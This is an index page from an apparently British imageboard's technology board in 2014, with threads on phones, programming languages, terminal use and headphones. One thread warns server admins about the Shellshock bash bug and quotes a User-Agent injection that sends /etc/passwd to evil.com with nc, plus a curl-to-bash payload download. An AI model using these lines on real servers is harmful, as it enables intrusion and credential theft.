[ rss / options / help ]
post ]
[ b / iq / g / zoo ] [ e / news / lab ] [ v / nom / pol / eco / emo / 101 / shed ]
[ art / A / beat / boo / com / fat / job / lit / map / mph / poof / £$€¥ / spo / uhu / uni / x / y ] [ * | sfw | o ]
Subject   (new thread)
File  [] []
>> No. 23349 Anonymous
23rd October 2014
Thursday 8:13 pm
23349 spacer
Do any of you happen to have a vodafone pay as you go SIM pack lying around? If so, could you post the set up instructions for the iPhone please? There's something about changing wap.xxx to pp.xxx and so on.
Expand all images.
>> No. 23354 Anonymous
23rd October 2014
Thursday 8:31 pm
23354 spacer

Thanks but I've already spent a few hours on the internet trying that and similar. It used to work using the SIM pack details but I've recently reset it and can't find the pack. If nobody has one I'll get a pack from Argos tomorrow, I just wanted to be sure before I went out of my way.

>> No. 23328 Anonymous
19th October 2014
Sunday 4:10 am
23328 spacer
I am somewhat already regretting not just bumping an older thread but I'm wondering whether I should get a new phone. My current phone is 5 years old (Blackberry 8520) and I am surprised at the disadvantage this gives me when usually I'd be fine with a phone that does the bare minimum. As a result I am very ignorant of the going rate for phones these days.

I am a student and living off grants and after working out whether I can afford such an expense I have 60 quid I can spend without living off beans at aldi. Naturally I was going to not bother looking as my initial searches got me looking at phones that were £120 at the lowest.

I did then use google shopping and was pointed towards ebay. I am paranoid over the idea of buying a phone over ebay but there are some phones that are going for less than my budget and wondering whether I should take the plunge as the feedback on one seller is quite high.

My criteria for a good replacement is quite simple
Android (as there is no way I can afford an iphone) OS
Significantly better than my Blackberry
Unlocked (I already have a good sim card with a good contract)
Less than £60
3 posts omitted. Expand all images.
>> No. 23332 Anonymous
19th October 2014
Sunday 12:02 pm
23332 spacer
I'll just add that it would be worth waiting a few months to make sure you can get android 5 on whatever phone you use. It should be worth it, especially on cheaper phones, as it's meant to have a noticeable improvement on both speed and battery life as there's a fairly major code overhaul.

All the newest Motorola phones will be updated to it in due time, but some budget phones from other manufacturers would be worth avoiding unless you know you'll get the upgrade.
>> No. 23333 Anonymous
19th October 2014
Sunday 3:27 pm
23333 spacer

I doubt anything in his budget range will ever have Android 5. Most phones in that price range are still running 2.x.

Op's best bet is to hit ebay and find something nice that someone's replaced and no longer wants. New phones come out on such a regular basis that turnover is massive and you can get phones that are only a generation or two old for really cheap prices - especially on the bidding auctions.
>> No. 23334 Anonymous
19th October 2014
Sunday 4:17 pm
23334 spacer
>Most phones in that price range are still running 2.x.
That's really not the case. You can get quite a bit of phone for £60 these days, if you go the cheapo Chinese route.
>> No. 23335 Anonymous
19th October 2014
Sunday 5:44 pm
23335 spacer
OP here.

Apologies but my dad may set me up with one of his old phones, the only issue being that I'd have to remove the blackberry part of my sim card which can take a month or so.
>> No. 23336 Anonymous
19th October 2014
Sunday 7:15 pm
23336 spacer
Might be quicker to just order a new SIM and transfer your number over in that case.

>> No. 23279 Anonymous
11th October 2014
Saturday 12:00 am
23279 spacer
Is there a free way to find out what a domain's IP address used to be? My beloved Lossless Inside was taken down. They changed the domain to .org which worked for a couple of days but then it redirected to google then a parked domain page.

I'd just like to think they're still out there somewhere and I could bypass the domain name and find the site with its IP address. It's a vain hope I'm sure.
4 posts omitted. Expand all images.
>> No. 23323 Anonymous
17th October 2014
Friday 1:49 pm
23323 spacer

Actually, one of them kind of is working

and its internal links even work if you edit from



Obviously they've stopped updating though.
>> No. 23324 Anonymous
17th October 2014
Friday 1:54 pm
23324 spacer

You can only get at the download providers where they didn't require a captcha though, and they required it for most of their older posts.
>> No. 23325 Anonymous
17th October 2014
Friday 3:07 pm
23325 spacer
This is one of the reasons I run squidguard on my networks when I can. Among its many features, you can rewrite request URLs on the fly so that broken links end up going to the right place.
>> No. 23326 Anonymous
17th October 2014
Friday 3:35 pm
23326 spacer

If I grab the source code of the page, replace all the losslessinside.nets with, save it as HTML and open it, then the captcha works fine.
>> No. 23327 Anonymous
18th October 2014
Saturday 5:58 pm
23327 spacer
They've got their .net domain fully functional now. I'm not sure how long this will last.

>> No. 22069 Anonymous
29th May 2014
Thursday 7:21 pm
22069 Moto G
Hey guys, my old, old HTC Wildfire has finally died, so I've been looking at one of these little babies.

However, I've just seen there's a newer one coming out either just now or soon, the LTE. Should I just wait? I won't be using 4G, but an SD card slot would be nice.

Is ebay my best bet? Been looking at an unlocked current model 16Gb ones for ~£150

I know there was a thread a while back but I can't find it for the life of me, my apologies.
61 posts and 3 images omitted. Expand all images.
>> No. 22150 Anonymous
2nd June 2014
Monday 9:22 am
22150 spacer
Still I stand by not buying into hype - I do hope this phone is a success as it would put pressure on other companies, but again, I' sceptical.
>> No. 23285 Anonymous
11th October 2014
Saturday 7:42 pm
23285 spacer
Yesterday I dropped my moto g onto the floor, so now have a cracked screen. I wish I bought a case for it now.
I suppose it is a choice of try to replace the screen myself, buy a new Moto g, or get a different phone altogether.

Bit annoyed that if I buy it again I am paying more than I did the first time.
Tempted by the OnePlus as I would like cyanogen, but I cant be bothered with begging for an invite.
>> No. 23311 Anonymous
15th October 2014
Wednesday 7:39 pm
23311 spacer

You now have a choice of 3 different versions of the moto-g

The moto g original, the moto-g 4g released earlier this year, and the moto g gen2 released last month (which is back to 3g again)
>> No. 23313 Anonymous
15th October 2014
Wednesday 8:10 pm
23313 spacer
Thanks for this post, I thought that gen2 one was the new 4g one.
The new two are more expensive, which takes away the main selling point of the Moto g for me. They are still the best in the price range as far as I can see though.
>> No. 23314 Anonymous
15th October 2014
Wednesday 8:37 pm
23314 spacer
It's £144 on Amazon right now, given that I bought the first gen for 150 at Argos, that's quite a good price.

>> No. 23281 Anonymous
11th October 2014
Saturday 6:43 pm
23281 spacer
I have an old Toshiba television that's taken to switching itself on from standby, and lowering its own volume. I've switched off all timers, taken my batteries from the remote control and looked for any other possible interferences without any indication of what might be causing it.

I started systematically removing all connections, and it seems to have stopped since I removed the TV aerial cable. Does anyone know why this might be happening?

Model no. is 22BV500B. Can't find anything matching this problem specific to this television, but lots of general problems to do with faulty motherboards.

I'm stumped.
17 posts and 4 images omitted. Expand all images.
>> No. 23309 Anonymous
15th October 2014
Wednesday 6:54 pm
23309 spacer

My Russian watch is excellent. Best watch I've ever owned. 9 years now and not a single problem other than the leather strap degrading.
>> No. 23312 Anonymous
15th October 2014
Wednesday 7:40 pm
23312 spacer
The only watch I've ever worn was one that could fire a little plastic dart, it had a flip up sweet compartment too. Won it in a game of pass the parcel.

Hmm, anyway, watched look weird on me. So do belts and hats.


gb2 /zoo/, Vladlad!
>> No. 23315 Anonymous
16th October 2014
Thursday 1:31 pm
23315 spacer

I would gladly relocate if they had chippies with mushy peas and patties.
>> No. 23316 Anonymous
16th October 2014
Thursday 1:52 pm
23316 spacer

Students then?
>> No. 23320 Anonymous
17th October 2014
Friday 12:11 pm
23320 spacer
In Soviet Russia, time tells you!

>> No. 23289 Anonymous
15th October 2014
Wednesday 12:26 am
23289 spacer
What are your thoughts on thunderbolt? I've got these ports now but haven't used them yet and don't know if I ever will.
3 posts omitted. Expand all images.
>> No. 23293 Anonymous
15th October 2014
Wednesday 9:06 am
23293 spacer
I had no problems with firewire, and I'm extremely annoyed that the next laptop I buy won't be able to plug directly in to the bulk of my audio equipment. Bah humbug.
>> No. 23294 Anonymous
15th October 2014
Wednesday 1:13 pm
23294 spacer
>A decent USB 2.0 cable costs less than a quid, but USB 3.0 cables are about a fiver
So something like this is counterfeit?
>> No. 23296 Anonymous
15th October 2014
Wednesday 2:23 pm
23296 spacer
Not him, but anything which purports to be A to A should be viewed with suspicion. The plugs are different for a reason. If there isn't some active circuitry in there you run the risk of frying both ends.
>> No. 23308 Anonymous
15th October 2014
Wednesday 6:51 pm
23308 spacer

It's cheap because it's unbranded and being sold direct from Hong Kong. As >>23296 suggests, A-to-A cables aren't supported by the USB specification and can permanently damage equipment; If they have ignored the spec in this regard, it is likely that they have ignored other aspects of the spec to cut costs. I wouldn't trust it as far as I could throw it.

If we compare like-with-like and look at a reputable brand of cable shipped from the UK, Startech's list price for a 3ft A to Micro B cable is £3.59 for 2.0 and £10.79 for 3.0. (Obviously you'll actually pay a lot less than list). That difference is representative of the pricing for any quality cable, excluding any sort of stock clearance or other shenanigans.
>> No. 23310 Anonymous
15th October 2014
Wednesday 7:37 pm
23310 spacer
Maplins has been selling these for years at the bargain price of £9.99 for a 1.5m USB2.

>> No. 23275 Anonymous
10th October 2014
Friday 8:00 pm
23275 spacer
I'm not entirely sure how much of my problem is actually a problem, and how much of it is just me being going over the top for comedic effect, and I'm the one with the problem. Anyway, at Uni, unsurprisingly, in the various computer science courses, I've ended up learning Python and Ruby. I don't have a problem with these languages per se; some parts of them I like, and they do have their place. No, my problem is that, for a while now, I've been using Haskell almost universally. I'm not great at it, and I have not yet got anywhere near some of the more advanced stuff. Basically, it's the stuff in LYAH, plus a few libraries, minus zippers, and a bit of experience. Nevertheless, I am not sure I have ever felt so comfortable in a language, be it when I've done stuff in the shell, in Python, in C, or so on. It just came very naturally in a way those others didn't. So, basically, how do I go about getting out of the functional mindset, at least for the time being, enough to re-learn the basics of imperative languages? (I intend to continue to use a functional style, even in Python for example, because it supports it, and that's what all the cool kids are doing, but just for the moment, it's probably best to get the hang of the actual language, not the tacked-on functional bits). How do I deal with not having that beautiful type system, no higher-order functions, mutability, etc etc? How do I deal with the comparative verbosity of the languages? How do I go back to someone else when Haskell has my heart?

On a side-note, what is functional style like in Python and Ruby? I mean, Python differentiating between expressions and statements makes the lambdas a bit annoying, but, for example, can recursion be used to as great an extent as it is in Haskell, or is that a bad idea? And how do I deal without pattern matching in function definitions?
Expand all images.
>> No. 23276 Anonymous
10th October 2014
Friday 8:47 pm
23276 spacer
There are many good tutorials available on idiomatic functional programming in Ruby and Python.

I'm not surprised that you feel more at home in Haskell, because it's fantastically well-suited to academic programming that tends to be heavy on algorithmic complexity and light on plumbing and boilerplate. There are however some good reasons why purely functional languages have been slow to gain traction outside of academia.

In the trenches of professional software development, the purely-functional style of Haskell tends to come unstuck, because real software inevitably descends into a mess of weird edge cases, workarounds and fudges. Unless you're lucky enough to work in a handful of specialist fields, you'll spend a very large proportion of your time in industry dealing with legacy code and connecting buggy API 'A' to buggy API 'B', via buggy business logic 'C'. Sometimes you can cut through a dreadful gordian knot with a beautifully clever function, but often you just need a big ugly imperative sledgehammer to bash a square peg into a round hole.

Practical software tends to be inherently stateful, and usually a very large proportion of lines of code and clock cycles are related directly to I/O. Trying to write this sort of software in a purely functional style is in my opinion an exercise in confusion. It can be done, but requires a level of mental gymnastics that just isn't required if you do it imperatively. Learning Haskell or Lisp is immensely valuable, but it's easy to become intoxicated by the sheer elegance of functional style and overlook the ugly practicality of imperative and OO solutions for many common tasks. The debate tends to get polarised into functional purists vs the battle-scarred developers who dismiss them as weirdy-beardies; As with most things, I think that the answer lies somewhere in between. There is no best tool, only the best tool for the job at hand. Mongrel languages like Python and Ruby cherry-pick the most useful ideas from many different theoretical approaches.

As regards the relative verbosity of Python and Ruby, it really is relative and it's something you get used to. Those languages are considered highly concise compared to something like Java. Python and Ruby are designed with a concise and minimal syntax, but not at the expense of clarity. It's usually better to be verbose and explicit than concise and cryptic. Clever code is often too clever for its own good, because of the sheer mental effort involved in understanding it later on. An elegant little haiku of a function is often harder to maintain than thirty lines of boneheadedly simple imperative code.
>> No. 23277 Anonymous
10th October 2014
Friday 9:16 pm
23277 spacer
I never really intended to do programming professionally, I mainly do it because I enjoy it; and, particularly, more and more, I find myself enjoying the theory more than the practical side. Having said that, I do understand that often it's just better to use an imperative approach. I'm really just looking for how to get out of a functional mindset enough to stop thinking "I would prefer to do this in Haskell".

Would you mind awfully linking to some of the good tutorials on idiomatic functional programming in Python and Ruby? Whilst often, especially working in those languages, it's easier to be imperative, I'm sure there will be times when it'd be clearer to do something functionally. Bearing in mind I'm very new to Ruby, and, whilst I have done some Python, I've largely forgotten it, because it was a fair while ago.

To go off on (another) tangent, I'm under the impression that quite a few places teach students with Java. Where I am, I don't think they do that much, if at all, and, whilst I've never even touched a "hello world" tutorial for Java, I looked at the examples on Wikipedia, and it seemed far too verbose for a teaching language. I mean, in Python, it's just a single line of very clear text, the same with most other languages I can think of. Even C has a more-or-less clear first program. Java, on the other hand, looked like it would need a lot of theory before even writing one thing. Why is it used as a teaching tool so much?
>> No. 23278 Anonymous
10th October 2014
Friday 11:55 pm
23278 spacer
> Why is it used as a teaching tool so much?

Because it's an "industry standard"; it's replaced C/C++ as the preferred teaching language around 10-15 years ago. A hello world program is rather verbose in either of those languages, but then programming courses tend to be aimed at adults and move at a reasonable pace, leaving toy problems like that behind fairly quickly. Besides, the verbosity is actually a boon as >>23276 mentioned. Once other people have to read your code or once you have to reread code you wrote a year ago you'll come to appreciate it unless you have an exceptionally good memory.
>> No. 23280 Anonymous
11th October 2014
Saturday 2:39 am
23280 spacer
I'm out of my depth here since I sort of detest functional programming and have never touched ruby (C99 or python (ever since I ditched Perl when Perl 6 happened)), but anyway.

> So, basically, how do I go about getting out of the functional mindset, at least for the time being, enough to re-learn the basics of imperative languages?

I had the opposite problem (imperative felt natural, warts and all, while functional seemed contrived). The way out of it was through practice and a personal need: my preferred editor is emacs, so while I exclusively write imperative code for both work and leisure I had to learn functional thinking in earnest (I had a year of Haskell at uni and it was a love-hate relationship at best) to tweak my editor and make it do what I want. Find something that interests you and just go do it in the language you intend to learn; it's really not too different from natural languages. To learn it, to think in it, to understand it you must use it.

> can recursion be used to as great an extent as it is in Haskell, or is that a bad idea?

Without more details it's hard to say but a safe bet is: that's a bad idea since python has no concept of lazy evaluation. You can create generators which behave similarly, but that's grafting habits from one language onto another. That, by the way, is not a bad thing. You can learn a lot about a new language by trying to make it behave like your comfort language.

>> No. 23257 Anonymous
6th October 2014
Monday 10:36 pm
23257 spacer
One thing better about cmd prompt than the Linux shell is that you can press tab to cycle through the different options. E.g. "trip" and tab would autocomplete all possibilities. This doesn't happen on the various distros I've tried.
5 posts and 1 image omitted. Expand all images.
>> No. 23270 Anonymous
7th October 2014
Tuesday 4:48 pm
23270 spacer
>> No. 23271 Anonymous
8th October 2014
Wednesday 12:28 am
23271 spacer

I've learned everything I know about computers by trial, error, and google. And one very thick book about Fedora Core 2, but mostly the former.
>> No. 23272 Anonymous
9th October 2014
Thursday 12:26 am
23272 spacer

Terminal copy.jpg
I've never needed to know any of this but in the past week i've tried to teach myself some Terminal Commands on a mac. It's interesting and novel but i don't yet understand why people would need or chose to work this way? Please forgive my ignorance, i do want to learn.
>> No. 23273 Anonymous
9th October 2014
Thursday 1:16 am
23273 spacer
The main reason is to automate repetitive jobs - so, for example, if I want to rename every file in a folder with 1000 items, for example, it's much easier to write a script to do it than to do it by hand. Or, if there's something I want to do every friday, for example, I could set up a script so that it's run every friday, and then it does that thing for me. They're also often used as "glue" in programs - they can be used to put two bits of a program together.

They're also useful to give instructions precisely - if I'm trying to tell someone how to do something over the internet, I don't need to tell them what buttons to press and hope they can find every UI element, I just tell them to open the "terminal" application and paste a line of text into it.
>> No. 23274 Anonymous
9th October 2014
Thursday 4:32 am
23274 spacer

The secret superpower of the terminal is the pipe command, "|". This directs the output from one program to the input of another, allowing you to quickly patch together sophisticated tools from simple programs. A trivial example for OSX would be something like "curl example.com/file.zip | unzip", which will download and then extract that zip archive.

A more interesting example involves Imagemagick, a program that performs batch processing on image files. The command "convert *.jpg -resize 100x100 | curl -u username:password @myserver.com/images/ -T -" will take all the images in a folder, convert them to thumbnails, then upload them to a remote server. Really clever stuff can be done with sed and awk, two very important tools for processing streams of data.

As >>23273 says, command line operations can be stuck together into scripts, allowing you to perform a large batch of operations with a single command. They can also be scheduled to run at a particular time, simply by adding a command or script to your crontab file.

This might all seem a bit abstract, but it becomes absolutely vital if you deal with servers. Doing everything on the command line allows you to easily control any server remotely via SSH, even over a poor connection with high latency or limited bandwidth. It doesn't matter whether a computer is on my desk, in the next room, or a thousand miles away, I control it in exactly the same way using terminal commands. Scripting allows the server to perform complex tasks unattended, and cron scheduling allows it to do things automatically.

If I have a task that requires lots of CPU power or plenty of bandwidth, I can spin up as many machines as I need using EC2, start that task remotely, and have the servers e-mail me when the job is finished then shut themselves down. Of course, that process can be scripted and scheduled, allowing the humble little computer on my desk to orchestrate many others remotely without my involvement. I can control hundreds of computers with a simple shell script.

Understanding the terminal is the first step in the journey from using computers as mere appliances and learning how to manipulate them on a deeper level. The unix philosophy that powers the internet age is embodied by the terminal - lots of simple parts that do one basic job, but are easily connected together.

>> No. 23262 Anonymous
7th October 2014
Tuesday 8:26 am
23262 BBC news bullshit
I'm getting pissed off by old stories appearing on the most read section. I want to write a script that removes stories older than 1 year from this section.

The problem is, the method I've thought of using with JS, I'd need to access the DOM of another page and not the page I'm currently on. Is there a way around this or another way of doing things?
Expand all images.
>> No. 23263 Anonymous
7th October 2014
Tuesday 11:16 am
23263 spacer
They actually tried that for a while. Stories would be tagged with "This is more than a month old" and I'm not sure why they stopped TBH.
>> No. 23265 Anonymous
7th October 2014
Tuesday 2:53 pm
23265 spacer
That was a good feature. They should bring it back.
>> No. 23266 Anonymous
7th October 2014
Tuesday 3:30 pm
23266 spacer
I've been wondering what causes this myself. Is it just Stephen Fry tweeting a link or something?
>> No. 23267 Anonymous
7th October 2014
Tuesday 3:41 pm
23267 spacer
It could be when they link other articles in a popular story and what you mentioned too.

I've sent them a complaint.

>> No. 23154 Anonymous
25th September 2014
Thursday 5:37 am
23154 spacer
Hi /g/, resident script kiddy here. Thought this was important enough to let anyone who has to look after servers know about.

Long story short, this reddit comment puts it best.
"You can put whatever you want in the function (and then call the function), or just write your code after the function. It doesn't matter. And in this case writing a file to disk was merely a proof of concept example that someone gave. Also, it's probably better to just always put your code after the function because in some certain circumstances you may not actually know the name of the environment variable that you're setting.

If you did User-Agent: () { :;}; nc evil.com 6666 < /etc/passwd it would work just the same. In reality, a black hat is probably going to just run curl http://evil.com/bot.sh | bash to download and execute a complete payload."

In other words, a shit load of servers are vulnerable to a pretty simple attack again. Don't even think there's a patch out yet - a later comment to the (lol publicly viewable) mailing list says

"Again, please do not disclose this issue to customers or the general
public until the embargo has expired."

Well, it's public as of a few hours ago. Keep an eye on this one.
4 posts omitted. Expand all images.
>> No. 23162 Anonymous
25th September 2014
Thursday 4:08 pm
23162 spacer
Oh, lovely. It's even got a name now and everything.
>> No. 23164 Anonymous
25th September 2014
Thursday 8:05 pm
23164 spacer

Oh dear.

Bashinga was by far the better suggested name.
>> No. 23183 Anonymous
26th September 2014
Friday 6:27 pm
23183 spacer
Don't worry lads, the Stallman has declared it a 'blip'.
>> No. 23184 Anonymous
26th September 2014
Friday 7:01 pm
23184 spacer
Well that's all right, then. If he says it's a blip, in between munching bits of his foot, then that's just fine.
>> No. 23264 Anonymous
7th October 2014
Tuesday 12:24 pm
23264 spacer

>Something I overheard about this bug "I lot of shit is going to get owned, but nothing anyone actually cares about".
Yahoo got hit. So did Winzip. Please let Winzip have been owned massively and been giving out infected downloads, it would be too funny.

Check out this quality damage control too.

>Updated to add

>Hours after publication, Yahoo! has had a change of heart, claiming that its machines weren't vulnerable to Shellshock – just a bug exactly like it.

>"Earlier today, we reported that we isolated a handful of servers that were detected to have been impacted by a security flaw. After investigating the situation fully, it turns out that the servers were in fact not affected by Shellshock," said Alex Stamos, Yahoo!’s chief information security officer, on Hacker News. A copy of his statement was forwarded to us by Yahoo! PR.

>"Three of our Sports API servers had malicious code executed on them this weekend by attackers looking for vulnerable Shellshock servers. These attackers had mutated their exploit, likely with the goal of bypassing IDS/IDP or WAF filters.

Message too long. Click here to view the full text.

>> No. 23231 Anonymous
5th October 2014
Sunday 9:54 pm
23231 spacer
I'm developing an android app that blocks text message spam, is there a website I could sign my number up to spam to stress test it?
1 post omitted. Expand all images.
>> No. 23251 Anonymous
6th October 2014
Monday 7:10 pm
23251 spacer
>> No. 23252 Anonymous
6th October 2014
Monday 8:21 pm
23252 spacer
PPI companies
>> No. 23253 Anonymous
6th October 2014
Monday 8:54 pm
23253 spacer
Compare the Market. Those cunts just won't stop.
>> No. 23254 Anonymous
6th October 2014
Monday 8:59 pm
23254 spacer
You could bombard yourself with messages using Twilio.
>> No. 23255 Anonymous
6th October 2014
Monday 9:04 pm
23255 spacer

I get two messages from 3 a day, maybe if you have a 3 sim it could be worth opting back into the messages they send.

>> No. 23131 Anonymous
19th September 2014
Friday 10:23 pm
23131 spacer
Any programmers around here?

I've bumped into Matasano Crypto Challenges. Glancing over them I thought maybe it's worth to try. I am by no means a programmer, nor do I work in any related fields; I used to flick through source codes multiple times when I needed to find out various things and details about how programmes work — for that my very tiny knowledge has so far been sufficient. Until now.

I fucked up on the very first challenge. I tried this and that — my shit just does not work. Obviously, my limited set of skills is useless. What to do?

I'm using C because I'm familiar with its syntax. I'd use the same approach I used to learn how to deal with OS — trial and error — but I'm failing miserably. A sound advice would help greatly.

The challenges are located here: http://cryptopals.com/
22 posts omitted. Expand all images.
>> No. 23246 Anonymous
6th October 2014
Monday 1:20 pm
23246 spacer

R or Matlab, maybe Haskell if you're really keen.
>> No. 23247 Anonymous
6th October 2014
Monday 2:01 pm
23247 spacer
Why are you bothering to do a PhD if your plans lie in finance?
>> No. 23248 Anonymous
6th October 2014
Monday 2:27 pm
23248 spacer

Most quant jobs require a PhD or a very good MSc.
>> No. 23249 Anonymous
6th October 2014
Monday 4:17 pm
23249 spacer
I was under the impression that if anything a PhD would make you less employable for finance (or indeed any job not directly related to your PhD subject), due to wasting four years of potential experience in the industry.
>> No. 23250 Anonymous
6th October 2014
Monday 4:59 pm
23250 spacer
Good evening to you too.
I have come to a similar conclusion regarding the challenges. I'm still going to make myself a copy and ponder on them whenever I want to.

Regarding languages, I have a little experience with Shell + sed + awk + other small utilities like tr. I have thought about dabbling with Perl or Python, haven't decided anything yet. C is mostly to try to do something at lower levels and to get my hands (very) dirty.

>> No. 23203 Anonymous
3rd October 2014
Friday 5:28 pm
23203 spacer
Can I get a pair of earphones for everyday use (i.e. being put into pockets, continually detached and plugged in, that sort of thing) that will last longer than a few weeks if I spend £30?

I've used the pictured cheapo job, and they sound wonderful, but they also tend to break near the jack and end up with one side cutting out.

I'm thinking maybe something geared toward exercise would last longer? Reliability is the main thing I'm going for here.
6 posts and 1 image omitted. Expand all images.
>> No. 23216 Anonymous
4th October 2014
Saturday 10:11 am
23216 spacer
I would highly recommend the JVC Gummys, they where recommended to me years and years ago and it was a good recommendation at the time. Over a decade later i don't have them anymore but would consider getting a pair again. They are cheap and sound good. They lasted pretty well but all speakers will wear out eventually.
>> No. 23217 Anonymous
4th October 2014
Saturday 11:29 am
23217 spacer

They dont sound very good to me.
>> No. 23218 Anonymous
4th October 2014
Saturday 4:47 pm
23218 spacer
They're easily the best sub £10 headphones.
>> No. 23219 Anonymous
4th October 2014
Saturday 5:55 pm
23219 spacer

Still don't sound very good. Can get much better sounding 'phones for just a few quid more IME.
>> No. 23220 Anonymous
4th October 2014
Saturday 10:41 pm
23220 spacer
That's a pretty daft claim.

(Maybe I'm taking the bait by saying that. Oh well.)

Delete Post []
[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18]Next